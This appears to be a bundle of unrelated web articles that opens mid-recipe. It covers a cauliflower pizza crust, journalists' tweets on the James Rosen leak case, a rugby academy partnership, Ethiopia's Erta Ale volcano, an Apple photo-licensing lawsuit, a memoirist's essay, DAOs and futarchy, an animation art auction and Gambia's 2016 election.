cooking time). There is no need to add water, as the natural moisture in the cauliflower is enough to cook itself. One large head should produce approximately 3 cups of riced cauliflower. The remainder can be used to make additional pizza crusts immediately, or can be stored in the refrigerator for up to one week. To Make the Pizza Crust: Preheat oven to 450 degrees. Spray a cookie sheet with non-stick cooking spray. In a medium bowl, stir together 1 cup cauliflower, egg and mozzarella. Add oregano, crushed garlic and garlic salt, stir. Transfer to the cookie sheet, and using your hands, pat out into a 9″ round. Optional: Brush olive oil over top of mixture to help with browning. Bake at 450 degrees for 15 minutes. Remove from oven. To the crust, add sauce, toppings and cheese. Place under a broiler at high heat just until cheese is melted (approximately 3-4 minutes). Enjoy! *Note that toppings need to be precooked since you are only broiling for a few minutes.  Note for those that don’ t have a microwave:  You can steam the florets on the stove before ricing them. The texture/consistency won’t be the same (It will be more like a puree) but it still works fine once you mix all the ingredients together! I know because I’ve tried it that way too!
-Your first name  Many liberal reporters and commentators have dismissed or downplayed the emerging Benghazi and Internal Revenue Service scandals as non-scandals or trifling bureaucratic errors.  But reports that the Justice Department has been targeting journalists, first reporters at The Associated Press and now Fox News’ James Rosen, has caused the generally Obama-admiring press to question the purity of their redeemer.  Here are 10 tweets from liberal commentators and reporters expressing outrage on Monday over Rosen-gate:  Unemployed liberal commentator Keith Olbermann:  My experience dealing with @jamesrosenfnc was unpleasant and contentious. And I fully support him against this unwarranted act by DOJ — Keith Olbermann (@KeithOlbermann) May 20, 2013  The New Yorker’s excellent long-form writer Ryan Lizza:  Case against Fox’s Rosen, in which O admin is criminalizing reporting, makes all of the other “scandals” look like giant nothing burgers. — Ryan Lizza (@RyanLizza) May 20, 2013  If James Rosen’s “clandestine communications plan” were illegal, every journalist in Washington would be locked up. Unreal. — Ryan Lizza (@RyanLizza) May 20, 2013  Huffington Post’s Howard Fineman:  #Fox Rosen probe as bad/worse than #AP: in unprecedented move, govt says he “conspired” with leaker to get info; that’s what reporters do! — Howard Fineman (@howardfineman) May 20, 2013  BuzzFeed’s Michael Hastings:  Hey Jay @presssec Carney. If the Bush DOJ had done this to your reporters when you were Time DC bureau chief, how would you have responded? — Michael Hastings (@mmhastings) May 15, 2013  The Guardian’s Glenn Greenwald:  Accusing James Rosen of committing crimes – for basic reporting – may be the most dangerous thing the Obama DOJ has done yet — Glenn Greenwald (@ggreenwald) May 20, 2013  WIRED’s Spencer Ackerman:  LOL a “covert communications plan” between journalist & source. Like basic reportorial opsec? washingtonpost.com/local/a-rare-p… Disgusting. — Spencer Ackerman (@attackerman) May 20, 2013  Soon-to-be MSNBC.com’s Adam Serwer:  If you prosecute reporters for seeking/receiving leaks and you’re basically making non-government sanctioned reporting a crime. — AdamSerwer (@AdamSerwer) May 20, 2013  Talking Point Memo’s Josh Marshall:  Just This: U cross a big line when u go from investigating journos to prosecute leakers to accusing journos of commitng crimes by doing job — Josh Marshall (@joshtpm) May 20, 2013  Al Monitor’s Laura Rozen:  1st thing agree w/ Cruz on RT @juliaioffe: MT @sentedcruz: W FF & DOJ targeting press @johncornyn right—AG Holder must go — Laura Rozen (@lrozen) May 20, 2013  Slate’s Matt Yglesias:  Wow. Obama-era leak crackdowns on journalists look worse and worse:m.washingtonpost.com/local/a-rare-p… — Matt Yglesias (@mattyglesias) May 20, 2013  Follow Jamie on Twitter
-Widnes Vikings have entered into an exciting partnership with the RFL that will see the club play a leading role in the development of the Cumbria Regional Academy.  The Academy provides a career path for the elite young talent in West Cumbria and the link with Widnes Vikings will provide those players with access to the benefits that come from being part of a Super League club culture.  Widnes Vikings will also work closely with all the stakeholders in Cumbria, including Barrow Raiders, Whitehaven and Workington Town, to enhance the player development pathways in the region for the benefit of the professional and community games.  Widnes Vikings Head of Youth Phil Finney commented: “We are looking forward to working with the RFL and the Cumbria Regional Academy on a series of initiatives that will  benefit the whole sport.  “We think that we can make good use of our experience and expertise alongside the vast local knowledge within the staff and volunteers already in place in the region to provide a pathway to England, Super League and the Championships for an increasing number of Cumbrian players.  “A crucial element will be the development of strong working relationships with all of the key stakeholders in the region, including the professional and community clubs and the local schools.  “We want to forge strong working partnerships with Cumbrian community clubs and their staff and volunteers to provide further opportunity for the players and coaches across the county.”  Widnes Vikings Chief Executive James Rule added: “We are very proud of the fact that this year we received the highest possible grading in the independent Academy Audit.  “We have developed an outstanding Academy environment and working alongside the RFL we want to utilise that best practice to great effect to develop a genuine partnership with the Regional Academy and with the wider Cumbrian region.”  RFL Director of Performance and Coaching Jon Roberts said: “The Cumbria Regional Academy has made huge strides in the last two years and this four-year partnership with Widnes Vikings provides a terrific opportunity to make even more significant progress.  “Cumbria is an important region for the sport and it is essential that we do all we can to create an environment that allows every player to realise his potential. The involvement of Widnes Vikings will help us achieve that objective.  “The partnership helps create a clear pathway to the England team for every young player in Cumbria: whilst not all of them will make it that far, a great many will develop into players for Barrow, Whitehaven, Workington Town, the Super League clubs, including Widnes, and community clubs across the county.”
-Atlas Obscura on Slate is a new travel blog. Like us on Facebook, Tumblr, or follow us on Twitter @atlasobscura.  Located in the Danakil Depression (or Afar Depression) in the Afar Region of northeastern Ethiopia, Erta Ale is one of the driest, lowest, and hottest places on Earth. Temperatures during the year range from 77 degrees Fahrenheit to 118 degrees Fahrenheit. The area is beset by drought, bereft of trees, and has little in the way of roads.  Known by the Afar as the "smoking mountain" and "the gateway to hell," Erta Ale is a 2,011-foot-high constantly active basaltic shield volcano. It is one of only a handful of continuously active volcanos in the world, and a member of an even more exclusive group: volcanos with lava lakes. While there are only five known volcanos with lava lakes globally, Erta Ale often has two active lava lakes, making it a unique site.  Advertisement  Erta Ale was discovered in 1906, which also makes it the longest-known lava lake. For a lava lake to exist, the surface of the lake and the magma chamber below must form a constant convecting system, or the entire thing will cool and solidify.  Beneath the ground surrounding Erta Ale is an enormous pool of active magma. The lake goes through cycles and will cool, form a black layer on top, and then suddenly convect back into liquid lava. Occasionally, due to pressure, "fountains" of lava will form, spewing lava in 6- to 13-foot-high plumes.  The volcano itself has erupted in 1873, 1903, 1940, 1960, 1967, and 2005, when it killed hundreds of livestock and forced thousands to flee. In 2007 lava flows once again forced evacuation. Two people went missing and were presumably killed.  Despite the harsh conditions, danger of volcanic eruption, and extreme heat, Erta Ale has become something of a tourist destination recently. Whereas in 2002 the area was accessible only by helicopter, today adventure tourism groups take trips to the volcano lakes and it is now possible to drive within 4.3 miles of the volcano.  Advertisement
-Once Again Apple Uses Image It Didn't License: This Time Photographer Sues  from the don't-they-have-lawyers? dept  Lawyers for big companies tend to be notoriously careful to make sure the companies license images they use for marketing purposes, for obvious reasons. And yet... Apple seems to keep using unlicensed images. It's really quite surprising. A couple of years ago, we wrote about how the default wallpaper for the iPad was used without licensing it. In that case, the photographer, Richard Misrach, was thrilled, saying that he was sure that a contract was on the way, and whatever was in it would be fine: "I'm sure they'll send me [a contract] quickly now. But I'm very happy, I'm sure it's fine, and the terms are good." I don't know if that experience made Apple confident it could do the same sort of thing again, but Misrach's response is not quite the norm. And Apple is now discovering that as it will have to deal with a lawsuit from photographer Sabine Liewald As detailed at the Patently Apple site , Liewald has sued Apple, claiming that it used her photograph as part of the marketing around the MacBook Pro's promotion for its Retina Display.The first link above, to the MacObserver story, notes that Apple is now using a different (though similar) image of an eye. However, Liewald claims that Apple had requested Liewald's image from her Factory Downtown page , but for layout purposes only. It sounds like someone then got confused over whether or not they had actually licensed the image. Again, it's really surprising that Apple isn't a lot more careful about this kind of stuff. Liewald is apparently claiming that she's entitled to both "actual damages including defendant's profits"statutory damages. That sounds like a lawyer just trying to push the company to settle faster -- and I wouldn't be surprised if Apple cuts Liewald a decent check pretty quickly to make this go away. I can't imagine that it pays to fight this lawsuit.  Filed Under: copyright, license, retina display, sabine liewald  Companies: apple
-“Why did you write about it, then,” said the man, “if you don’t want to talk about it?” I was on holiday with my husband and we were having dinner at the house of a friend. Evidently, she had told the man something about me because he began asking questions almost as soon as we sat down to eat. When I said I was on holiday, trying to relax, and that I didn’t want to answer his questions, he grew indignant. My decision to tell my story publicly—a decision I had made fifteen years earlier—meant to him that I was public property. This is not unusual. I have grown to understand it, though I have not entirely grown used to it, just as I have grown to understand that people have their own ideas of who and what I ought to be, wounded victim or heroic survivor.  At one minute past midnight on July 19, 1975, my father was hanged. For twenty-seven years, I told no one about it. Then I published a memoir. I have lived with the aftermath of that decision ever since, as does anyone who has published their own story, who has unwrapped what had previously been concealed: the skinned inner self dragged out and, shrinking in the light, placed beneath the bright hot gaze of strangers.  We had kept silent about the death of my father—my brother, sister, stepmother, and I. The youngest sibling, I was eleven when it happened, and I knew from the earliest, instinctively, that our story was not something to share with strangers. In Sierra Leone, the entire country knew what had happened to us, but in Britain, where we later went to live, nobody knew. We could go incognito, and we did. All the same, we talked about it compulsively, we three siblings, whispering among ourselves. I remember once, when I was in my twenties, the three of us sitting in a fashionable London wine-bar whispering memories of our father. Why did we do that?  At the time, I took it for granted that we needed to whisper, in order to keep our story private. But other, more sinister, reasons became obvious once I started to investigate the conditions of our shared childhood. Our father, Mohamed S. Forna, a Sierra Leonian medical doctor, political activist, and the most prominent opponent of the country’s rising dictator, had been under constant scrutiny: watched, followed, and spied on even by members of our own household staff. Silence was a habit I was born into. When my father spoke, he did so publicly. His judicial murder was the president’s response, his message to the nation that this was where such actions got you. He silenced my father, and in time the silence spread to every person in the country.  War came, as my father had predicted it would—an implosion of rage and violence which went on for more than ten years, finally ending in 2002. Cracks had appeared in the wall of the country’s silence, but still no words were spoken. That was the year I published my memoir, The Devil That Danced on the Water, an account of my father’s life and death and of Sierra Leone’s recent history. The impact was greater than I had imagined: newspaper and radio interviews, public engagements, serialization, a TV documentary. Nowhere was the desire to hear me discuss what I had written about greater than in Sierra Leone. In a talk I gave at the university, those who could not get into the auditorium sat on the grass outside and listened through the open windows.  Back then, there were not a great many memoirs on the market. The decade and a half that has passed since has seen a resurgence in the form. Today, there is no subject I can think of that has not been excavated by the modern memoir: family, relationships, childhood abuse, both physical and mental illness, sexual adventure, sexual assault, sexual identity, addiction, bereavement, divorce, childhood, coming of age, mothers and motherhood, fathers and fatherhood, siblings, home, travel, exile, war, each of the decades from the 1950s on.  In the months after I published mine, people I knew seemed to look at me in a new way, as though I was totally different from the person they thought they knew—which was, in some ways, true. Others read the book and seemed promptly to forget everything they had read. Sometimes, in later and unrelated conversations, they would ask me a question to which they knew the answer because they had already read it. I have done this, too: separated the person and the author of a memoir as though they were entirely different.  You must also, once your book is published, deal with the reactions of strangers. I received hundreds of letters from readers who said my book had affected them. I always wrote back, more than once I even met with a correspondent.  I once had lunch with a South African woman who had written to me, whose life was shaped by the disappearance of her father. She had never shared her story because, she said, the family was ashamed. They had been wealthy; she and her mother felt that if their story became known, suspicion might somehow fall on her father’s business dealings. They relocated to Britain and told nobody. I remembered our own years of silence. One of the reasons I didn’t tell most of my friends was the worry that people would see my father as having been guilty of something.  The letters, now more often emails, have never stopped. Very occasionally, I have felt daunted by the idea of dealing with another person’s loss. I try not to let it show, and I hope I am successful in this, because once you have written your story, you become seen as a “survivor” and other people will reach out for you.  There were also those people who were crass, or unthinking, or downright prurient, to whom my life had become spectacle. They expected me to talk on demand about those events I had written about, as if I was on stage. I had written about events and experiences that are painful to talk about, but which I felt must nevertheless be described. That is the simplest reason people write about themselves—because talking hurts too much.  “I feel like a car accident everyone is slowing down to look at,” remarked a writer who, like me, had written an account of her activist father’s assassination, which had taken place when she was a teenager. We were walking to the stage at a literary festival where I was about to interview her. “I didn’t expect the interest to be so,” she searched for the word, “pornographic.”  I came to think of the small group of people I knew who had endured similar experiences as the “Murdered Parents Club.” In each other’s company, we could talk without having to explain or defend ourselves, without feeling like an exhibit in the museum of humankind. The “club” consisted of the aforementioned writer; a close friend whose activist mother disappeared on pilgrimage in India; a Colombian whose father was murdered by paramilitaries outside their family home; a Nigerian journalist whose father was executed. We could talk and even laugh among ourselves in a way that was impossible in front of others.  The writer of a memoir must necessarily reveal a great deal about herself or himself, and often about other people, too. You sacrifice your own privacy, and you sacrifice the privacy of others to whom you may have given no choice. They may enjoy the attention or be enraged by it. “People either claim it or they sue you,” the head of press at my publisher told me in the weeks before my memoir was published. I knew who might sue or come after me—members of the regime that had killed my father. I comforted myself with the belief that they had for the most part been exiled or discredited, or had gone underground. The only person I allowed to read the unpublished manuscript was my stepmother, because I was concerned about her safety even more than my own. She still lived in the country, and the violence can ricochet for months after a civil war.  In the final draft, I changed one name only—of the man who had betrayed my father for the promise of money, agreeing to give false testimony at his treason trial on behalf of the regime. He admitted this to me during our interview. I despised him and I knew other readers of the book would despise him, too. He had a pitch selling Lotto tickets in Freetown, a small city. Anyone could find him just by asking around, as I had done. Already, one or two one or two suspected former rebel soldiers had been lynched in the city.  For this reason, I changed his name, and privately decided that I would change any other names that my stepmother wanted me to. But without saying this, I let her read the book. When she gave it back to me, she made no comment. On the final page, I found a checkmark and the words “Well done, darling!” Later, she elaborated: if we were going to do it, we would go all the way. My sister, over lunch a few months after the memoir was published, mused: “You help to kill somebody and you think you’ve got away with it, and then, twenty-five years later, the telephone rings.”  It’s not hard to see why memoir is so popular. For readers in constant search of “authenticity,” the true memoir trumps the fictional novel. These people may have experienced relatively little adversity or danger in their lives. Another kind of reader who particularly values the memoir is one who has endured a fate similar to the writer’s. She or he may be the survivor of domestic abuse, perhaps, or of illness, or crime. The memoir acts for this reader as testimony; it confirms the reality of her or his own experience, and offers courage and the possibility of comfort.  The question I am most frequently asked is whether I found writing the memoir therapeutic. I encounter this most commonly among Western audiences, perhaps because the culture puts the self first and foremost. When I teach classes on memoir, I begin them all in the same way: “This is not therapy. If you want therapy, go and see a therapist.” I have had one woman stand up and leave. She thanked me later. She had realized in that moment that therapy was, in fact, what she needed.  The writing of a memoir can be a test in mental courage. In the long months of putting pen to paper, you must return to immerse in, and endure, the very thing that caused you the most pain. You must pick at the scabs of old wounds and pour vinegar on them. Writing can be a way of handling the experience of loss, trauma, or pain, but it comes with no guarantees. “Be careful,” said my sister when I began. “Because what you find out may be worse than we already think we know.”  An early newspaper review came close to destroying my relationship with my mother. The reviewer seemed less interested in addressing the political oppression, judicial murder, and civil war that is the book’s focus, than in weighing my mother’s abilities as a parent, very unfairly in my view. My mother was working overseas at the time and her copy of the finished book hadn’t arrived when a third party alerted her to the review. It hurt her badly, and she did not speak to me for a long time. When she did attempt to re-establish contact, I’m afraid I had become angry and didn’t see her for many more months.  Sometimes, not being written about is worse than being written about. I once heard Will Fiennes, the author of The Snow Geese, describe how he had left all mention of his mother out of his original manuscript (in which he describes his relationship with his father and their shared love of ornithology) because, in his view, she was a very private person. When he gave his mother a draft of it, she initially responded in a complimentary fashion, but after he pressed her, she eventually asked: “But where am I?” Fiennes told the audience that as a result there were at least three “totally gratuitous” mentions of his mother in the final version.  I knew a woman who, after her husband’s untimely death, found in his diaries an account of a long affair he had been conducting, along with descriptions of his boredom with family life. She wrote a raw, furious memoir about the impact of that discovery on herself and her family. Her agent told her it was brilliant. Then she asked, “Now, do you really want to publish this?” The woman realized that in her heart she didn’t and took her manuscript back. We would all wish for a friend as decent as her agent.  The judgment is a fine one. I once knew both the writer of a sex memoir and her former partner; the end of their relationship had triggered her sexual wanderings for the next year. Before the book was published, she sent him a copy. He wrote back to her, he told me: “I hope it sells by the truck load and you never regret writing it.”  To be the author of a memoir is to become a confessional for other people. All over the world, people tell me their stories: the high-end male sex worker, the girl held by a rebel army for three years, the man with African-American forebears who “passed” as white, the woman with the conman father, the girl who nearly ate and drank herself to death, the woman born in a concentration camp. Sometimes, sharing their stories with me is all they want, and it is enough. Sometimes, they want a wider recognition for their stories. To them, I say this: write, but only if you are sure you want to live with the consequences every day for the rest of your life.
-The thrilling Summer international Test series has concluded and what a ride it’s been! Undoubtedly the biggest matches were in Australia, New Zealand, and South Africa. Check out this smooth mashup that perfectly highlights the drama and emotion of the third and final weekend, from what was a brilliant round of Test rugby.  As you already know, history was made in perhaps the most compelling of the three when England – for the first time ever in Australia – won the series and completed the whitewash.  All three matches were played on a knife’s edge and perhaps could’ve gone differently but there’s no arguing who the better team is on current form.  Elsewhere, there will be some serious heartbreak and perhaps sober reflection on a series that could’ve been well in hand. Ireland comes to mind as they played their hearts out, but fell short to the Springboks in suspenseful fashion.  As with the Wallabies, coach Warren Gatland and Wales found themselves on the short end of a 3-0 series sweep, which also included a loss to an under-strength Chiefs squad.  Going into the upcoming Rugby Championship it’ll certainly be difficult to predict how South Africa and Australia will compete against the sensational All Blacks, as they undoubtedly looked like the best side in the world.  It makes for a fascinating prospect, especially when you throw Argentina into the mix. All in all, it’s a wonderful time to be a rugby fan, and we no doubt have plenty more great moments to come.  NZ vs Wales Highlights | Australia vs England Highlights | South Africa vs Ireland Highlights  Enjoy this emotive montage from the three big Tests from this past weekend  credit: rugbyrules/thomas
-In May, Bitcoin Magazine covered the spectacular launch of The DAO, a new kind of organization created and run using blockchain software rather than conventional corporate structures. The DAO ‒ an acronym for Distributed Autonomous Organization ‒ is similar to an open venture capital fund based on Ethereum smart contracts and rapidly became the world’s largest crowdfunding to date.  Shortly after its launch, The DAO had an equally spectacular crash caused by poorly understood aspects of its implementation of smart contracts, which a malicious attacker was able to exploit.  Emin Gun Sirer of Cornell University told The Economist, “the attacker simply read the terms and conditions more closely than anyone else.”  Regardless of misfortunes and temporary setbacks that are only to be expected in the early phases of a new technology with a potentially disruptive impact, DAOs have a huge potential. According to futurist David Orban, The DAO can be a pathfinder and a model for very ambitious crowdfunded initiatives to tackle important challenges, including a new global phase of the space program.  “From the $10 million order of magnitude crowdsales two years ago, to the $100 million crowdsale today, we will get to $1 billion in a couple of years, and then to $10 billion in another two-three,” he said.  Now, other renowned cryptographers, technologists and economists specialized in future studies are starting to weigh in. Futurist Ralph Merkle, who is also one of the inventors of public key cryptography, the inventor of cryptographic hashing and the originator of the “Merkle Trees” used in blockchain systems including Bitcoin and Ethereum, has published a paper titled “DAOs, Democracy and Governance.” Merkle’s thesis is that DAOs and crowdsourcing could lead to a new form of democracy which is more stable, less prone to erratic behavior, better able to meet the needs of its citizens and which better uses the expertise of all its citizens to make high-quality decisions.  “We call this new form of democracy a DAO Democracy,” says Merkle. “Further analysis and small-scale implementations combined with further research into their effectiveness, seem both warranted and urgently needed, given the range of problems facing humanity today and the more pressing problems anticipated in the future.”  Futarchy, proposed by futurist Robin Hanson, a professor of economy at George Mason University and the author of a much discussed recent book about radically futuristic economy, is a proposal to govern by prediction markets. “The proposal seems like an excellent approach for improving upon existing democratic forms of governance,” says Merkle.  Prediction markets are speculative markets created for the purpose of making predictions. The current market price for a prediction ‒ for example the election of a particular candidate ‒ can be interpreted as an aggregate, crowdsourced estimate of the probability of the prediction. Hanson, a leading prediction market researcher, was all over the news in 2003, when the Policy Analysis Market (PAM), a prediction market proposed by the United States' Defense Advanced Research Projects Agency (DARPA) and based on Hanson’s ideas, was canceled after a wave of accusations of incentivizing terrorism, which resulted in the resignation of John Poindexter, head of the DARPA unit responsible for developing the project.  In her 2015 book “Blockchain: Blueprint for a New Economy,” dedicated to advanced future applications of distributed ledger technology beyond currency (“Blockchain 1.0”) and smart contracts (“Blockchain 2.0”), futurist Melanie Swan defines futarchy as two-step democracy with voting plus prediction markets.  “The first step would be carried out by regular voting processes, the second step via prediction markets,” explains Swan. “Prediction market voting could be by different [cryptocurrencies] or other economically significant tokens. Prediction market voting is investing/speculating, taking a bet on one or the other side of a proposal, betting on the proposal that you want to win. As with random-sampling elections, blockchain technology could more efficiently implement the futarchy concept in an extremely large-scale manner (decentralized, trusted, recorded, pseudonymous.) The futarchy concept is described in shorthand as ‘vote for values, bet on beliefs,’ an idea initially proposed by economist Robin Hanson and expounded in the blockchain context by Ethereum project founder Vitalik Buterin.”  According to Swan, who founded the Institute for Blockchain Studies to examine the theoretical, philosophical and societal implications of blockchain technology, blockchain-based futarchy could became a common, widespread norm and feature or mechanism for all complex multi-party human decision-making. “One effect of this could be a completely new level of coordinated human activity that would be orders of magnitude more complex than at present,” notes Swan, cautioning that, of course, any new governance structure including futarchy has ample room for abuse.  “I’m encouraged that some people might actually try out versions of futarchy,” Hanson told Bitcoin Magazine. “It is perhaps unfortunate that they face especially difficult governance problems. But still, I’d love to see a head-to-head comparison with other mechanisms in most any governance context.”  Hanson isn’t entirely happy with Merkle’s proposal, however. In a blog post titled “Merkle’s Futarchy,” he worries about the possibility that futarchy implementations could ignore or sidestep the cautions and safeguards that were an important part of his original proposal, and criticizes what he sees as weak points of Merkle’s proposed implementation. “I’m happy to see the new interest in futarchy, but I’m also worried that sloppy design may cause failures that are blamed on the overall concept instead of on implementation details,” notes Hanson. “As recently happened to the DAO concept.”
-Have you ever found yourself watching a cartoon and noticing the illustrations behind the characters? Those backgrounds can often be prettier than the action in the foreground. If only those pesky mice and long-nosed boys would get out of the way! If so, the upcoming Beverly Hills Animation Art Signature Auction is for you.  On a serious note, I've always admired how classic, hand-drawn animation is born. Watching early animators flipping those cels back and forth to create the illusion of movement is amazing, and painting a detailed background for every single scene is probably one of the most important artistic tasks in the highly complex process of making an animated cartoon.  Advertisement  Background artists usually painted these backdrops wide and tall (depending on the camera panning), in gouache, acrylic paint, watercolor, oil paint, or even crayon. The resulting still backdrops are nothing short of art—but in the actual cartoons, we seldom get to enjoy the whole image, due to the camera movements.  The following examples from the Animation Art Signature Auction on November 20 show just how beautiful these artworks can be—I know I wouldn't think twice about putting some of them on my walls.  A background illustration from Two Pan Goofy. It was painted for the 1952 Walt Disney short, but wasn't actually used.  Advertisement  Photo: Heritage Auctions  This pan background showcases the Statue of Liberty and lower Manhattan, including the World Trade Center and the Manhattan Bridge. It was painted for The Real Ghostbusters (DIC, 1986).  Advertisement  Photo: Heritage Auctions  A great Art Deco-style production background of the Batcave from Batman the Animated Series (Warner Brothers, 1995), created by Bruce Timm.  Advertisement  Photo: Heritage Auctions  This breathtaking pan production background of a detailed medieval staircase located within Maleficent's castle was hand-painted by Eyvind Earle, color stylist and chief background painter for Sleeping Beauty (Walt Disney, 1959).  Advertisement  Photo: Heritage Auctions  Magnificent vertical pan production background painting for Sloppy Jalopy (UPA, 1952).  Advertisement  Photo: Heritage Auctions  A stylized view of Las Vegas with all the famous hotel signs, for Aesop and Son in Sick Lion (Jay Ward, 1962).  Advertisement  Photo: Heritage Auctions  A background illustration by Paul Julian for The Tell Tale Heart, a cartoon adaptation of the classic short story written by Edgar Allen Poe (UPA, 1953).  Advertisement  Photo: Heritage Auctions  Cap'n Crunch cereal commercial production background (Jay Ward, c. 1960s) by Bill Hurtz and Pete Burness.  Advertisement  Photo: Heritage Auctions  A beautiful landscape background from Scrambled Eggs (Walter Lantz, 1939), painted by legendary Art Nouveau illustrator Willy Pogany (1882-1955).  Advertisement  Photo: Heritage Auctions  Belle's Magical World master background of the Beast's Castle (Walt Disney, 1998).  Advertisement  Photo: Heritage Auctions  Dinotopia: The Mini Series background color key (Walt Disney, 2002).  Advertisement  Photo: Heritage Auctions  A very detailed background color key of the haunted bedroom for Scooby-Doo on Zombie Island (Hanna-Barbera, 1998).  Advertisement  Photo: Heritage Auctions  A wide angle view of the Calcutta airport for The Real Adventures of Jonny Quest (Hanna-Barbera, 1996).  Advertisement  Photo: Heritage Auctions  The Man on the Flying Trapeze background by Paul Julian (UPA, 1954).  Advertisement  Photo: Heritage Auctions  The Smurfs (Hanna-Barbera, 1984).  Advertisement  Photo: Heritage Auctions  Two backgrounds from Buford and the Galloping Ghost (Hanna-Barbera, 1979).  Advertisement  Photo: Heritage Auctions  Two SWAT Kats hand-painted background color keys (Hanna-Barbera, 1993).  Advertisement  Photo: Heritage Auctions  A spooky view of Gotham City's imposing Arkham Asylum from The New Batman Adventures (Warner Brothers, 1997).  Advertisement  Photo: Heritage Auctions  The Simpsons (Fox, 2002). A 12-field production background, hand-painted on celluloid, from the 13th season episode, "The Lastest Gun in the West," which was originally aired on February 24, 2002.  Advertisement  Photo: Heritage Auctions  Two Famous Studio backgrounds from The Sixties, done by famed book illustrator and animation artist Anton Loeb.  Advertisement  Photo: Heritage Auctions  A deserted saloon in Ghost Town (Terrytoons, 1944).  Advertisement  Photo: Heritage Auctions  A Mighty Mouse background from the 1940s (Terrytoons).  Advertisement  Photo: Heritage Auctions  Top image: Pinocchio production pan background (Walt Disney, 1940). This film's backgrounds were masterfully painted by Claude Coats, Merle Cox, Ed Starr, and Ray Huffine, to name a few – Heritage Auctions
-The Biggest Election Surprise of the Year May Actually Be in West Africa  Gambian President Yahya Jammeh once vowed to rule his country for “one billion years.” He was only 999,999,978 years off. On Friday, Jammeh lost his country’s general election to opposition leader Adama Barrow after 22 years in power.  The defeat comes as a huge shock — not only because an unlikely opposition leader ousted an authoritarian president with a penchant for coups, but also because the president accepted the loss. “It’s really unique that someone who has been ruling this country for so long has accepted defeat,” Gambian electoral commission chief Alieu Momar Njie told reporters.  Barrow earned 45.5 percent of the vote, while Jammeh trailed with 36.7 percent, according to the BBC. The surprise win by an opposition figure — and Jammeh’s even more surprising acceptance of his loss — is a historic moment for the tiny West African nation, which hasn’t had a smooth power transfer since gaining independence in 1965.  Jammeh has ruled Africa’s smallest nation with an iron fist since first wresting power in a coup in 1994. His repressive regime impoverished an already underdeveloped country; the poverty rate that has hovered around 50 percent for years, according to the World Bank. Since taking power, he’s unleashed his security forces to torture, intimidate, arrest, and suppress dissenters to keep his grip on power, according to Human Rights Watch.  Instances of dictators losing their own ‘window dressing’ election are rare. But there was a perfect storm of various factors that turned the tide in Gambian opposition’s favor, said Jeff Smith, founder of Vanguard Africa.  “First, the opposition was unified and energized in a way that they had never been before,” Smith told Foreign Policy. The government’s brutal crackdown on anti-government protests in April and May garnered international scrutiny and galvanized various opposition factions. “It was the longest and most defiant act of public disobedience the country witnessed since Jammeh came to power,” Smith said.  Then there’s Europe’s refugee crisis. “Gambia plays an outsized role in the crisis,” Smith said. “It’s the fourth largest ‘exporter’ of refugees to Italy this year, despite being one of Africa’s smallest countries.” This raised Europe’s awareness of the plights of Gambians and ratcheted up international scrutiny on Jammeh’s regime.  And then, there’s the enigmatic dictator himself. Jammeh’s brutal and bizarre antics have drawn an international media spotlight that both enraged his people and energized the opposition over the years. It starts with his public proclamations. He led state-sanctioned ‘witch hunts and threatened to personally slit the throats of gay men in a public speech.  He also isolated Gambia abroad. When he won reelection in 2011 in results that many international observers questioned, he told critics to “go to hell.” In 2013, he withdrew from the Commonwealth, the 54-nation group of former British colonies, after the United Kingdom’s Foreign Office released a report charging Gambia with human rights abuses. Jammeh also pulled Gambia out of the International Criminal Court for alleged bias against African nations; one of his ministers called it the “International Caucasian Court” when explaining the government’s decision to withdraw.  Suffice it to say, Gambians were clearly ready for change. And facing a wave of popular dissent and international pressures, he had to relent.  “Jammeh faced such a surprising groundswell of support for the opposition that they couldn’t fudge the numbers to the point where they could make it credible that they won,” Smith said. That hasn’t stopped dictators before, but international pressure made have tipped the scale, particularly pressure from his own neighborhood of relatively successful West African democracies. “For a number of years, the regional leaders have become fed up with Jammeh,” Smith said. “He’s a black eye on a region that’s performed overwhelmingly well writ large.”  The United States and European Union also made clear an intent to slap sanctions on the country if Jammeh stole the elections again, as did neighboring countries like Senegal, which surrounds the tiny sliver of land that comprises Gambia. This, coupled with a determined and unified opposition, convinced the president to accept his loss.  Jammeh, to defend his dictatorial cred, did try to make things difficult for the opposition as his country headed to the polls. In a classically authoritarian move, his regime banned internet and international phone calls when the country took to the polls. He also barred EU election observers from monitoring the process. But it didn’t deter Gambians from voting him out.  His successor is a relatively new and inexperienced figure in Gambian politics. Adama Barrow is a real estate manager with little government experience (though he was reportedly a former retail store security guard in London before he threw his hat into the ring of Gambian politics.) He wasn’t supposed to be the face of the opposition, but Jammeh threw many other would-be frontrunners in jail. “He was thrust into this position because the leaders of party he’s a member of, the United Democratic Party, are all in prison,” Smith said.  When Barrow takes office, he has a tough road ahead. The first item on the agenda is healing a nation that has suffered a traumatic dictatorship for over two decades. And then there’s the administrative challenges.  “Jammeh ran Gambia as a mafia state,” said Smith. “The state does not exist without him, so there’s a huge void that Barrow has to fill.” He said there’s little economic opportunity but Gambians are hopeful for the change new leadership could usher in.  That void is a particularly deep and bizarre rabbit hole, starting quite simply with Jammeh’s resume. Officially, it painstakingly lists some 80 awards he’s received as president, ranging from the “Admiral in the Great Navy of the State of Nebraska” (yes, that one is real) to an “Honorary Degree in Herbal and Homeopathic Medicine” from Belgium’s Jean Monnet European University, to the “Most Student Loving and Innovative President in Africa” award to the “Kentucky Colonel Award” from the governor of Kentucky.  Oh, and don’t forget that Jammeh can cure asthma and (at least, he claims) AIDS — but don’t think that makes him a witch. “I am not a witch doctor, and in fact you cannot have a witch doctor. You are either a witch or a doctor,” he said, when his purported medical miracles came to light.  And if titles alone won elections, Jammeh would have clinched a win; his formal title is His Excellency Sheikh Professor Alhaji Doctor Yahya AJJ Jammeh Babili Mansa. (He added Babili Mansa, meaning ‘conqueror of rivers,’ to his title in 2015).  A 2014 coup attempt adds another strange layer to his story. The coup ringleaders were a Texan real estate developer and a Minnesotan computer studies teacher who served 10 years in the U.S. Army. Because of course. The FBI later arrested the two men, both U.S. citizens of Gambian descent.  None of Jammeh’s awards, strange antics, or his ability to dodge coup attempts, curried favor with his people, as the voters showed Friday. It’s an upset few — including Barrow himself — expected. But international scrutiny on the bizarre and brutal dictator may have been the final nail in the coffin of Jammeh’s reign.  “For years, the opposition struggled and put their lives on the line without anyone taking note,” Smith said. But when international media shed light on the Gambian leader, they also brought the plight of his people to light.  “The opposition wouldn’t back down,” Smith said. “This time, they knew the world was watching.”  Photo credit: MARCO LONGARI/AFP/Getty Images
